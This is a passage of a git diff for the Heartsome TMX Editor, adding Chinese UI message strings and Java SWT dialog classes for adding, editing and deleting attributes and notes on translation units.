+tmxeditor.editElementDialog.allFileDatabase=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +tmxeditor.editElementDialog.noteContent=\u6279\u6ce8\u5185\u5bb9\uff1a +tmxeditor.editElementDialog.customAttrType=\u5c5e\u6027\u540d\uff1a +tmxeditor.editElementDialog.customAttrContent=\u5c5e\u6027\u503c\uff1a +tmxeditor.editElementDialog.prop.nameOnly=\u53ea\u4fee\u6539\u5c5e\u6027\u540d + + +tmxeditor.propertiesView.add=\u65b0\u589e +tmxeditor.propertiesView.add.toolTip=\u65b0\u589e +tmxeditor.propertiesView.eidt=\u7f16\u8f91 +tmxeditor.propertiesView.edit.toolTip=\u7f16\u8f91 +tmxeditor.propertiesView.delete=\u5220\u9664 +tmxeditor.propertiesView.delet.toolTip=\u5220\u9664 + +tmxeditor.tmxeditorimpwithNattable.headerLable1=\u7cfb\u7edf\u5c5e\u6027 + +tmxeditor.tmxeditorView.openFileTaskName=\u6b63\u5728\u6253\u5f00\u6587\u4ef6... +tmxeditor.tmxeditorView.openTMDBTaskName=\u6b63\u5728\u6253\u5f00\u8bb0\u5fc6\u5e93... +tmxeditor.tmxeditorView.readOnly = \uff08\u53ea\u8bfb\uff09 +tmxeditor.tmxeditorView.outofmemory = \u5185\u5b58\u4e0d\u8db3\uff0c\u65e0\u6cd5\u5b8c\u6210\u6b64\u64cd\u4f5c\u3002\n\n\u8bf7\u6309\u7167\u5982\u4e0b\u6b65\u9aa4\u589e\u52a0\u672c\u8f6f\u4ef6\u53ef\u4f7f\u7528\u7684\u5185\u5b58\uff1a\n1\u3001Windows/Linux \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\u4e2d\u7684 Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n2\u3001Mac OS X \u7528\u6237\u8bf7\u6253\u5f00\u8f6f\u4ef6\u5b89\u88c5\u76ee\u5f55\uff0c\u53f3\u952e\u70b9\u51fb Heartsome TMX Editor.app\uff0c\u9009\u62e9\u201c\u663e\u793a\u5305\u5185\u5bb9\u201d\uff0c\u6253\u5f00 Contents/MacOS/Heartsome TMX Editor.ini \u6587\u4ef6\uff1b\n3\u3001\u4fee\u6539\u4e0a\u8ff0 .ini \u6587\u4ef6\u4e2d\u7684 -Xmx512m \u4e3a\u66f4\u5927\u7684\u6570\u503c\uff0c\u4f8b\u5982\u6539\u4e3a -Xmx1024m \u6216 -Xmx1536m\uff08\u8bf7\u6ce8\u610f\u4fee\u6539\u540e\u7684\u503c\u4e0d\u80fd\u8d85\u8fc7\u60a8\u7684\u7269\u7406\u5185\u5b58\u5927\u5c0f\uff09\uff1b\n4\u3001\u91cd\u542f\u672c\u8f6f\u4ef6\u3002 +tmxedtior.bodyMenuConfiguration.cut = \u526a\u5207 +tmxedtior.bodyMenuConfiguration.copy = \u590d\u5236 +tmxedtior.bodyMenuConfiguration.paste = \u7c98\u8d34 +tmxeditor.tmxEditorViewer.savelabel = \u6b63\u5728\u4fdd\u5b58... +tmxeditor.tmxEditorViewer.DBReadOnlyOpenMsg = \u6743\u9650\u4e0d\u8db3\uff1a\u5c06\u4ee5\u53ea\u8bfb\u6a21\u5f0f\u6253\u5f00\u8be5\u8bb0\u5fc6\u5e93\u3002\n\u82e5\u8981\u7f16\u8f91\u8be5\u8bb0\u5fc6\u5e93\u7684\u5185\u5bb9\uff0c\u8bf7\u4f7f\u7528\u5177\u6709 INSERT \u548c UPDATE \u6743\u9650\u7684\u6570\u636e\u5e93\u7528\u6237\u91cd\u65b0\u6253\u5f00\u3002 +tmxeditor.tmxEditorViewer.fileReadOnlyOpenMsg = \u6743\u9650\u4e0d\u8db3\uff1a\u5c06\u4ee5\u53ea\u8bfb\u6a21\u5f0f\u6253\u5f00\u8be5\u6587\u4ef6\u3002\n\u82e5\u8981\u7f16\u8f91\u8be5\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u8bf7\u7ed9\u8be5\u6587\u4ef6\u8d4b\u4e88\u5199\u5165\u6743\u9650\uff0c\u7136\u540e\u518d\u91cd\u65b0\u6253\u5f00\u3002 +tmxeditor.tmxEditorViewer.saveAsMsg1 = \u6587\u4ef6 {0} \u5df2\u7ecf\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +tmxeditor.tmxEditorViewer.emptyDbMsg = \u65e0\u6cd5\u6253\u5f00\uff1a\u8be5\u8bb0\u5fc6\u5e93\u4e3a\u7a7a\u3002\n\u8bf7\u91cd\u65b0\u9009\u62e9\u975e\u7a7a\u7684\u8bb0\u5fc6\u5e93\u3002 + +view.QAResultViewer.columnNameLine = \u884c\u53f7 +view.QAResultViewer.columnNameType = \u7c7b\u578b +view.QAResultViewer.columnNameSrcText = \u6e90\u6587 +view.QAResultViewer.columnNameTgtText = \u8bd1\u6587 +view.QAResultViewer.columnNameQATip = \u95ee\u9898 +view.QAResultViewer.LOGG.dataInpuError = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u586b\u5145\u5f02\u5e38\u3002 + +tmxeditor.QA.itemGroupTitle=\u68c0\u67e5\u9879 +tmxeditor.QA.operateGroupTitle=\u9009\u9879 +tmxeditor.QA.igoureCaceBtnTitle=\u5ffd\u7565\u5927\u5c0f\u5199 +tmxeditor.QA.ignoreTagBtnTitle=\u5ffd\u7565\u6807\u8bb0 +tmxeditor.QA.ignoreTagBtnToolTip=\u4e0d\u9002\u7528\u4e8e\u6807\u8bb0\u4e00\u81f4\u6027\u68c0\u67e5 +tmxeditor.QA.qaExcuteBtnTitle=\u6267\u884c(&D) + +Dialog.ExportDialog.allFilterRadioBtn=\u6240\u6709\u8fc7\u6ee4\u7ed3\u679c +Dialog.ExportDialog.allTmxDbRadioBtn=\u6574\u4e2a\u6587\u4ef6/\u8bb0\u5fc6\u5e93 +Dialog.ExportDialog.appendTmxLabel=\u8ffd\u52a0\u5230\u5df2\u6709\u7684 TMX \u6587\u4ef6\uff1a +Dialog.ExportDialog.appendTmxMsg=\u8bf7\u6307\u5b9a\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u8def\u5f84\u3002 +Dialog.ExportDialog.appendTmxNotExistMsg=\u8ffd\u52a0\u7684 TMX \u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u8bf7\u91cd\u65b0\u9009\u62e9\u4e00\u4e2a TMX \u6587\u4ef6\u3002 +Dialog.ExportDialog.browserLabel=\u6d4f\u89c8(&R) +Dialog.ExportDialog.dialogTitle=\u5bfc\u51fa +Dialog.ExportDialog.exportGroupTitle=\u5bfc\u51fa\u8303\u56f4 +Dialog.ExportDialog.newTmxLabel=\u521b\u5efa\u65b0\u7684 TMX \u6587\u4ef6\uff1a +Dialog.ExportDialog.saveTytpeGroupTitle=\u4fdd\u5b58\u65b9\u5f0f +Dialog.ExportDialog.selecteRowRadioBtn=\u9009\u4e2d\u884c +Dialog.ExportDialog.selectTmxMsg=\u8bf7\u6307\u5b9a\u65b0 TMX \u6587\u4ef6\u7684\u8def\u5f84\u3002 diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementAttrDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementAttrDialog.java new file mode 100644 index 0000000..5d07aad --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementAttrDialog.java @@ -0,0 +1,254 @@ +package net.heartsome.cat.te.tmxeditor.view; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.AttrCollector; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 除éžè¦åœ¨ tu tuv 中添加éžæ ‡å‡†å±žæ€§ï¼Œå¦åˆ™å‹¿ä½¿ç”¨æ­¤ç±»ã€‚ 添加自定义属性添加或修改对è¯æ¡† + * @author Austen 2013-06-18 + */ +public class AddElementAttrDialog extends Dialog { + + /** OK button 状æ€æ ‡è¯†.ä¾æ¬¡ä¸ºå±žæ€§åã€å±žæ€§å€¼ã€‚ */ + private int okButtonFlag = 0; + + private Text txtValue; + private Text txtName; + + private TmxTU tu; + private TmxSegement tuv; + private AttrCollector attr; + + private Text txtErrorInfo; + private Button btnAllTu; + private Button btnFiltered; + private Button btnCurrentSelected; + + public AddElementAttrDialog(Shell parentShell, TmxTU tu, AttrCollector attr) { + super(parentShell); + this.tu = tu; + this.attr = attr; + } + + public AddElementAttrDialog(Shell parentShell, TmxSegement tuv, AttrCollector attr) { + super(parentShell); + this.tuv = tuv; + this.attr = attr; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + if (tu != null) { + newShell.setText(Messages.getString("tmxeditor.addElementAttrDialog.title")); + } else { + newShell.setText(Messages.getString("tmxeditor.addElementAttrDialog.addFixAttr.title")); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite compostie = new Composite(parent, SWT.NONE); + compostie.setLayout(new GridLayout(2, false)); + GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).hint(500, SWT.DEFAULT).applyTo(compostie); + + // 通用 GridData + GridData gdText = GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).create(); + // 自定义属性å称 + Label nameLbl = new Label(compostie, SWT.NONE); + nameLbl.setText(Messages.getString("tmxeditor.addElementAttrDialog.attrName")); + txtName = new Text(compostie, SWT.BORDER); + GridDataFactory.createFrom(gdText).applyTo(txtName); + txtName.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + String str = txtName.getText(); + if (str.isEmpty() || hasAttr(str)) { + setFlag(okButtonFlag, -1); + } else { + attr.name = txtName.getText(); + setFlag(okButtonFlag, 1); + } + } + }); + // 自定义属性值 + Label valueLbl = new Label(compostie, SWT.NONE); + valueLbl.setText(Messages.getString("tmxeditor.addElementAttrDialog.attrValue")); + txtValue = new Text(compostie, SWT.BORDER); + GridDataFactory.createFrom(gdText).applyTo(txtValue); + txtValue.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + if (txtValue.getText().isEmpty()) { + setFlag(okButtonFlag, -2); + } else { + attr.value = txtValue.getText(); + setFlag(okButtonFlag, 2); + } + } + }); + // 作用组 + Group applyGroup = new Group(compostie, SWT.NONE); + applyGroup.setText(Messages.getString("tmxeditor.addElementAttrDialog.apply")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).span(2, 1).applyTo(applyGroup); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(applyGroup); + // 当å‰é€‰ä¸­è¡Œ + btnCurrentSelected = new Button(applyGroup, SWT.RADIO); + btnCurrentSelected.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCurrentSelected.setText(Messages.getString("tmxeditor.addElementAttrDialog.current.line")); + btnCurrentSelected.setSelection(true); + btnCurrentSelected.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btnCurrentSelected.getSelection()) { + attr.scope = PropertiesView.SELECTED_TU; + } + } + }); + + // 所有过滤结果 + btnFiltered = new Button(applyGroup, SWT.RADIO); + btnFiltered.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnFiltered.setText(Messages.getString("tmxeditor.addElementAttrDialog.allFilterResults")); + btnFiltered.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btnFiltered.getSelection()) { + attr.scope = PropertiesView.FILTERED_TU; + } + } + }); + + // 整个文件/记忆库 + btnAllTu = new Button(applyGroup, SWT.RADIO); + btnAllTu.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnAllTu.setText(Messages.getString("tmxeditor.addElementAttrDialog.allFileDataabase")); + txtErrorInfo = new Text(parent, SWT.READ_ONLY); + GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).span(1, 2).align(SWT.FILL, SWT.CENTER) + .grab(true, false).applyTo(txtErrorInfo); + return compostie; + } + + private boolean hasAttr(String str) { + if (tu != null) { + if ("creationuser".equalsIgnoreCase(str.trim()) && tu.getCreationUser() != null + || "creationdate".equalsIgnoreCase(str.trim()) && tu.getCreationDate() != null + || "changedate".equalsIgnoreCase(str.trim()) && tu.getChangeDate() != null + || "changeuser".equalsIgnoreCase(str.trim()) && tu.getChangeUser() != null + || "creationtool".equalsIgnoreCase(str.trim()) && tu.getCreationTool() != null + || "creationtoolversion".equalsIgnoreCase(str.trim()) && tu.getCreationToolVersion() != null + || tu.getAttributes() != null && tu.getAttributes().containsKey(str.trim())) { + txtErrorInfo.setText(MessageFormat.format(Messages.getString("tmxeditor.addElementAttrDialog.addWarn.msg1"), str)); + return true; + } + } else if (tuv != null) { + if ("creationuser".equals(str.trim()) && tuv.getCreationUser() != null || "creationdate".equals(str.trim()) + && tuv.getCreationDate() != null || "changedate".equals(str.trim()) && tuv.getChangeDate() != null + || "changeuser".equals(str.trim()) && tuv.getChangeUser() != null + || "creationtool".equals(str.trim()) && tuv.getCreationTool() != null + || "creationtoolversion".equals(str.trim()) && tuv.getCreationToolVersion() != null + || tuv.getAttributes() != null && tuv.getAttributes().containsKey(str.trim())) { + txtErrorInfo.setText(MessageFormat.format(Messages.getString("tmxeditor.addElementAttrDialog.addWarn.msg1"), str)); + return true; + } + } + txtErrorInfo.setText(""); + return false; + } + + private void setFlag(int flag, int i) { + int p = Math.abs(i); + if (i > 0) { + okButtonFlag = okButtonFlag | (1 << (p - 1)); + } else if (i < 0) { + okButtonFlag = (okButtonFlag | (1 << (p - 1))) ^ (1 << (p - 1)); + } + getButton(Dialog.OK).setEnabled(okButtonFlag == Math.pow(2, 2) - 1); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(Dialog.OK).setEnabled(false); + } + + @Override + protected void okPressed() { + // if (tu != null) { + // if ("creationuser".equalsIgnoreCase(attr.name)) { + // tu.setCreationUser(attr.value); + // } else if ("creationdate".equalsIgnoreCase(attr.name)) { + // tu.setCreationDate(attr.value); + // } else if ("changedate".equalsIgnoreCase(attr.name)) { + // tu.setChangeDate(attr.value); + // } else if ("changeuser".equalsIgnoreCase(attr.name)) { + // tu.setChangeUser(attr.value); + // } else if ("creationtool".equalsIgnoreCase(attr.name)) { + // tu.setCreationTool(attr.value); + // } else if ("creationtoolversion".equalsIgnoreCase(attr.name)) { + // tu.setCreationToolVersion(attr.value); + // } else { + // if (tu.getAttributes() == null) { + // tu.setAttributes(new HashMap()); + // } + // tu.getAttributes().put(attr.name.trim(), attr.value); + // } + // } else { + // if (tuv != null) { + // if ("creationuser".equalsIgnoreCase(attr.name)) { + // tuv.setCreationUser(attr.value); + // } else if ("creationdate".equalsIgnoreCase(attr.name)) { + // tuv.setCreationDate(attr.value); + // } else if ("changedate".equalsIgnoreCase(attr.name)) { + // tuv.setChangeDate(attr.value); + // } else if ("changeuser".equalsIgnoreCase(attr.name)) { + // tuv.setChangeUser(attr.value); + // } else if ("creationtool".equalsIgnoreCase(attr.name)) { + // tuv.setCreationTool(attr.value); + // } else if ("creationtoolversion".equalsIgnoreCase(attr.name)) { + // tuv.setCreationToolVersion(attr.value); + // } else { + // if (tuv.getAttributes() == null) { + // tuv.setAttributes(new HashMap()); + // } + // tuv.getAttributes().put(attr.name.trim(), attr.value); + // } + // } + // } + + if (btnAllTu.getSelection()) { + attr.scope = PropertiesView.ALL_TU; + } else if (btnCurrentSelected.getSelection()) { + attr.scope = PropertiesView.SELECTED_TU; + } else { + attr.scope = PropertiesView.FILTERED_TU; + } + super.okPressed(); + } + + public static void main(String[] args) { + System.out.println(Math.pow(2, 3)); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementDialog.java new file mode 100644 index 0000000..b2d99f7 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/AddElementDialog.java @@ -0,0 +1,200 @@ +package net.heartsome.cat.te.tmxeditor.view; + +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.ElemCollector; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; + +/** + * 添加 note 或 prop 节点 + * @author Austen 2013-06-18 + */ +public class AddElementDialog extends Dialog { + + private int category = -1; + + protected ElemCollector elem; + + protected Button btnAllTu; + protected Button btnFiltered; + protected Button btnCurrentSelected; + + private Text txtNoteContent; + private Text txtPropContent; + + private Text txtPropType; + + public AddElementDialog(Shell parentShell, int category, ElemCollector elem) { + super(parentShell); + this.category = category; + this.elem = elem; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + if (category == PropertiesView.TU_NODE_NOTE) { + newShell.setText(Messages.getString("tmxeditor.addElementDialog.title")); + } else if (category == PropertiesView.TU_NODE_PROPS){ + newShell.setText(Messages.getString("tmxeditor.addElementDialog.addFixAttr.title")); + } else if (category == PropertiesView.TU_PROP_COPY) { + newShell.setText(Messages.getString("tmxeditor.addElementDialog.pasteprop.title")); + } + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite compostie = new Composite(parent, SWT.NONE); + compostie.setLayout(new GridLayout(2, false)); + GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).hint(500, SWT.DEFAULT).applyTo(compostie); + + if (category == PropertiesView.TU_NODE_NOTE) { + createNoteComposite(compostie); + } else if (category == PropertiesView.TU_NODE_PROPS) { + creatPropComposite(compostie); + } else if (category == PropertiesView.TU_PROP_COPY) { + creatCopyComposite(compostie); + } + // 作用组 + Group applyGroup = new Group(compostie, SWT.NONE); + applyGroup.setText(Messages.getString("tmxeditor.addElementDialog.apply")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).span(2, 1).applyTo(applyGroup); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(applyGroup); + + if (category != PropertiesView.TU_NODE_NOTE) { + final Button btnOverwrite = new Button(compostie, SWT.CHECK); + btnOverwrite.setText(Messages.getString("tmxeditor.addElementDialog.overwrite")); + GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).span(2, 1).applyTo(btnOverwrite); + btnOverwrite.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + elem.overwrite = btnOverwrite.getSelection(); + } + }); + btnOverwrite.setSelection(true); + elem.overwrite = btnOverwrite.getSelection(); + } + + // 当å‰é€‰ä¸­è¡Œ + btnCurrentSelected = new Button(applyGroup, SWT.RADIO); + btnCurrentSelected.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCurrentSelected.setText(Messages.getString("tmxeditor.addElementAttrDialog.current.line")); + btnCurrentSelected.setSelection(true); + btnCurrentSelected.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btnCurrentSelected.getSelection()) { + elem.scope = PropertiesView.SELECTED_TU; + } + } + }); + + // 所有过滤结果 + btnFiltered = new Button(applyGroup, SWT.RADIO); + btnFiltered.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnFiltered.setText(Messages.getString("tmxeditor.addElementDialog.allFilterResults")); + btnFiltered.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (btnFiltered.getSelection()) { + elem.scope = PropertiesView.FILTERED_TU; + } + } + }); + + // 整个文件/记忆库 + btnAllTu = new Button(applyGroup, SWT.RADIO); + btnAllTu.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnAllTu.setText(Messages.getString("tmxeditor.addElementDialog.allFileDataabase")); + return compostie; + } + + private void creatCopyComposite(Composite compostie) { + // do nothing + } + + private void createNoteComposite(Composite compostie) { + // 自定义属性å称 + Label lblNote = new Label(compostie, SWT.NONE); + lblNote.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, false, false, 2, 1)); + lblNote.setText(Messages.getString("tmxeditor.addElementDialog.noteContent")); + txtNoteContent = new Text(compostie, SWT.BORDER | SWT.WRAP | SWT.V_SCROLL); + txtNoteContent.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + getButton(Dialog.OK).setEnabled(!txtNoteContent.getText().isEmpty()); + } + }); + GridDataFactory.swtDefaults().hint(SWT.DEFAULT, 60).span(2, 1).align(SWT.FILL, SWT.FILL).grab(true, true) + .applyTo(txtNoteContent); + } + + private void creatPropComposite(Composite compostie) { + // 通用 GridData + GridData gdText = GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).create(); + Label attrNameLbl = new Label(compostie, SWT.NONE); + attrNameLbl.setText(Messages.getString("tmxeditor.addElementDialog.attrNameLbl")); + txtPropType = new Text(compostie, SWT.BORDER); + txtPropType.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + getButton(Dialog.OK).setEnabled( + !(txtPropType.getText().trim().isEmpty() || txtPropContent.getText().trim().isEmpty())); + } + }); + GridDataFactory.createFrom(gdText).applyTo(txtPropType); + // 自定义属性å称 + Label lblProp = new Label(compostie, SWT.NONE); + lblProp.setText(Messages.getString("tmxeditor.addElementDialog.customAttrContent")); + txtPropContent = new Text(compostie, SWT.BORDER); + txtPropContent.addModifyListener(new ModifyListener() { + @Override + public void modifyText(ModifyEvent e) { + getButton(Dialog.OK).setEnabled( + !(txtPropType.getText().trim().isEmpty() || txtPropContent.getText().trim().isEmpty())); + } + }); + GridDataFactory.createFrom(gdText).applyTo(txtPropContent); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(Dialog.OK).setEnabled(false); + } + + @Override + protected void okPressed() { + + if (category == PropertiesView.TU_NODE_NOTE) { + elem.content = txtNoteContent.getText(); + } else { + elem.name = txtPropType.getText(); + elem.content = txtPropContent.getText(); + } + if (btnAllTu.getSelection()) { + elem.scope = PropertiesView.ALL_TU; + } else if (btnCurrentSelected.getSelection()) { + elem.scope = PropertiesView.SELECTED_TU; + } else { + elem.scope = PropertiesView.FILTERED_TU; + } + super.okPressed(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/DeleteConfirmDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/DeleteConfirmDialog.java new file mode 100644 index 0000000..24ef8d0 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/DeleteConfirmDialog.java @@ -0,0 +1,113 @@ +package net.heartsome.cat.te.tmxeditor.view; + +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.AttrCollector; +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.ElemCollector; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Shell; + +/** + * 除éžè¦åœ¨ tu tuv 中添加éžæ ‡å‡†å±žæ€§ï¼Œå¦åˆ™å‹¿ä½¿ç”¨æ­¤ç±»ã€‚ 添加自定义属性添加或修改对è¯æ¡† + * @author Austen 2013-06-18 + */ +public class DeleteConfirmDialog extends Dialog { + + private AttrCollector attr; + + private Button btnAllTu; + private Button btnFiltered; + private Button btnCurrentSelected; + private ElemCollector elem; + private int category = -1; + + public DeleteConfirmDialog(Shell parentShell, int category, AttrCollector attr) { + super(parentShell); + this.attr = attr; + this.category = category; + } + + public DeleteConfirmDialog(Shell parentShell, int category, ElemCollector elem) { + super(parentShell); + this.elem = elem; + this.category = category; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + String title = Messages.getString("tmxeditor.all.dialog.confirm"); + switch (category) { + case PropertiesView.TU_ATTRS: + title = Messages.getString("tmxeditor.deleteConfigDialog.title.tu"); + break; + case PropertiesView.TUV_ATTRS: + title = Messages.getString("tmxeditor.deleteConfigDialog.title.tuv"); + break; + case PropertiesView.TU_NODE_NOTE: + title = Messages.getString("tmxeditor.deleteConfigDialog.title.note"); + break; + case PropertiesView.TU_NODE_PROPS: + title = Messages.getString("tmxeditor.deleteConfigDialog.title.prop"); + break; + } + newShell.setText(title); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite compostie = new Composite(parent, SWT.NONE); + compostie.setLayout(new GridLayout(1, false)); + GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).hint(500, SWT.DEFAULT).applyTo(compostie); + + // 作用组 + Group applyGroup = new Group(compostie, SWT.NONE); + applyGroup.setText(Messages.getString("tmxeditor.deleteConfigDialog.apply")); + applyGroup.setLayoutData(new GridData(GridData.FILL_BOTH)); + GridLayoutFactory.swtDefaults().numColumns(3).applyTo(applyGroup); + // 当å‰é€‰ä¸­è¡Œ + btnCurrentSelected = new Button(applyGroup, SWT.RADIO); + btnCurrentSelected.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCurrentSelected.setText(Messages.getString("tmxeditor.deleteConfigDialog.current.line")); + btnCurrentSelected.setSelection(true); + + // 所有过滤结果 + btnFiltered = new Button(applyGroup, SWT.RADIO); + btnFiltered.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnFiltered.setText(Messages.getString("tmxeditor.deleteConfigDialog.allFilterResults")); + + // 整个文件/记忆库 + btnAllTu = new Button(applyGroup, SWT.RADIO); + btnAllTu.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnAllTu.setText(Messages.getString("tmxeditor.deleteConfigDialog.allFileDataabase")); + return compostie; + } + + @Override + protected void okPressed() { + int scope = -1; + if (btnAllTu.getSelection()) { + scope = PropertiesView.ALL_TU; + } else if (btnCurrentSelected.getSelection()) { + scope = PropertiesView.SELECTED_TU; + } else { + scope = PropertiesView.FILTERED_TU; + } + if (attr != null) { + attr.scope = scope; + } else { + elem.scope = scope; + } + super.okPressed(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementAttrDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementAttrDialog.java new file mode 100644 index 0000000..63476a1 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementAttrDialog.java @@ -0,0 +1 @@ +package net.heartsome.cat.te.tmxeditor.view; import java.text.ParsePosition; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import net.heartsome.cat.te.tmxeditor.resource.Messages; import net.heartsome.cat.te.tmxeditor.view.PropertiesView.AttrCollector; import org.eclipse.jface.dialogs.Dialog; import org.eclipse.jface.layout.GridDataFactory; import org.eclipse.jface.layout.GridLayoutFactory; import org.eclipse.swt.SWT; import org.eclipse.swt.events.ModifyEvent; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.DateTime; import org.eclipse.swt.widgets.Group; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; /** * 自定义属性添加或修改对è¯æ¡† * @author Austen 2013-06-18 */ public class EditElementAttrDialog extends Dialog { private Text valueTxt; private DateTime dateWidget; private DateTime timeWidget; private Text nameTxt; private AttrCollector attrCollector; private String oldName; private String oldValue; private Button allFileOrDBBtn; private Button curSelectRowBtn; private Button allFilterResultBtn; private int category; public EditElementAttrDialog(Shell parentShell, int category, AttrCollector attrCollector) { super(parentShell); this.attrCollector = attrCollector; this.oldName = attrCollector.name; this.oldValue = attrCollector.value; this.category = category; } @Override protected void configureShell(Shell newShell) { super.configureShell(newShell); 